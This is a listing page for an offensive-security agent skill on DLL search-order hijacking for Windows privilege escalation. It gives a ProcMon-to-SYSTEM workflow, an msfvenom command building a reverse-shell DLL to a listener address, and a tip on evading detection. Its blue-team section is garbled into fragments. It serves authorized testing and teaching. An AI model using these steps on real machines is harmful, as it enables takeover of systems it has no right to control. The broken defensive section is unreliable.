Dll hijacking privesc
Skill ShulkwiSEC/bb-huge/skills/curated/dll-hijacking-privesc
Exploit local systems via DLL load order hijacking. This skill details how to identify applications on Windows that insecurely load Dynamic Link Libraries (DLLs) and how to substitute a legitimate DLL with a malicious one to achieve privilege escalation or persistent access.From its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill dll-hijacking-privescAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
5.1 KB, ~1.1k tokens by cl100k_base, as published. Nobody here has run it
DLL Hijacking for Privilege Escalation
When to Use
- During a Windows local privilege escalation phase.
- When an application running with elevated privileges (like a service) attempts to load a missing DLL, and the directory it parses is writable by the current low-privileged user.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Finding Missing DLLs (ProcMon)
You can find vulnerable processes using Sysinternals Process Monitor (ProcMon).
# Concept: Filter ProcMon events 1. Open ProcMon and set the following filters:
- "Result" is "NAME NOT FOUND"
- "Path" ends with ".dll"
2. Start an application or restart a service.
3. Observe processes looking for DLLs that do not exist in their primary directories.
Phase 2: Verifying Writable Directories
Once an application is observed attempting to load missing.dll in a path like C:\Software\bin\missing.dll, verify if your low-privileged user can write to C:\Software\bin\.
# Check folder permissions using Access Control Lists (ACLs)
Get-Acl -Path "C:\Software\bin" | Format-List
# Look for "BUILTIN\Users: Allow Write" or similar rules.
Phase 3: Crafting the Malicious DLL
Create a malicious DLL that replicates the needed payload (e.g., executing a reverse shell or adding a user to local admins).
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o missing.dll
Note: Generating raw DLL payloads using C/C++ in Visual Studio is often preferred for evasion, ensuring DllMain attaches successfully.
Phase 4: Hijacking and Execution
- Place the generated
missing.dllinto the writable application directory (C:\Software\bin\). - Trigger the application or service. If it is a service, you need the right to restart it (or reboot the machine if it starts on boot).
# Restart-Service -Name VulnerableAppService
- When the service starts (as
NT AUTHORITY\SYSTEM), it blindly loads and executes your DLL.
Decision Point 🔀
flowchart TD
A[ProcMon Enumeration ] --> B[Identify "NAME NOT FOUND" DLL ]
B --> C{Directory Writable? }
C -->|Yes| D[Craft Malicious DLL ]
C -->|No| E[Check Next Target / Phantom DLLs ]
D --> F[Place DLL in Path ]}
F --> G[Reboot or Restart Service ]
G --> H[Payload Executes as System ]
🔵 Blue Team Detection & Defense
- Enforce Safe DLL Search Mode: Strict Directory Permissions: Code Signing Integrity: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Dll Hijacking Privesc — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- Mitre ATT&CK: Hijack Execution Flow: DLL Search Order Hijacking
- WADComs: DLL Hijacking
What ships with it: 2 files
8.3 KB alongside SKILL.md, 1 of them executable
evals/
- evals.json528 B
scripts/
- process.pyruns7.8 KB